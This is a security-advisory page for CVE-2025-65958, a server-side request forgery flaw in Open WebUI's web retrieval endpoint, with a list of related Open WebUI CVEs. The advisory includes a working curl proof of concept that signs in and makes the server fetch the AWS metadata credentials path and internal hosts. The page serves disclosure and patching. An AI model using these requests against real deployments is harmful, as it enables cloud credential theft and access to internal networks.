CVE-2025-65958: Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web
Summary A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.
Published Dec 4, 2025
Affected packages
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.6.36
- Fixed in
- 0.6.37
- Check
pip show open-webui
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.
Details
The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.
Vulnerable code: @router.post("/process/web") def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user) ): try: collection_name = form_data.collection_name if not collection_name: collection_name = calculate_sha256_string(form_data.url)[:63]
content, docs = get_content_from_url(request, form_data.url) # ← SSRF vulnerability
The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:
Call chain:
- retrieval.py:1767 → get_content_from_url(request, form_data.url)
- retrieval/utils.py:77 → get_loader(request, url)
- retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...)
- Both loaders fetch the user-supplied URL without validation
No validation is performed for:
- Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Localhost addresses (127.0.0.0/8)
- Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
- Protocol restrictions (file://, gopher://, etc.)
- Domain allowlisting
PoC
Prerequisites: Valid user account (any role)
Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"password"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://example.com"}'
Result: Server fetches example.com and returns its content, proving the vulnerability.
{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }
Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Result: Server exposes cloud credentials if running on AWS/GCP/Azure.
Other attack examples:
- Internal network: {"url":"http://192.168.1.1"}
- Localhost services: {"url":"http://localhost:5432"}
- Internal APIs: {"url":"http://internal-api.local"}
Impact
Who is affected: All authenticated users (no special permissions required)
Attack capabilities:
- Cloud Environment Compromise
- Steal AWS/GCP/Azure credentials via metadata endpoints
- Result: Full cloud account takeover
- Internal Network Access
- Bypass firewalls to access internal services (databases, admin panels, APIs)
- Port scan and map internal infrastructure
- Result: Complete network visibility
- Data Exfiltration
- Read internal documentation, configurations, secrets
- Access Kubernetes API servers
- Result: Credential theft, API key exposure
Credited to teolines.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
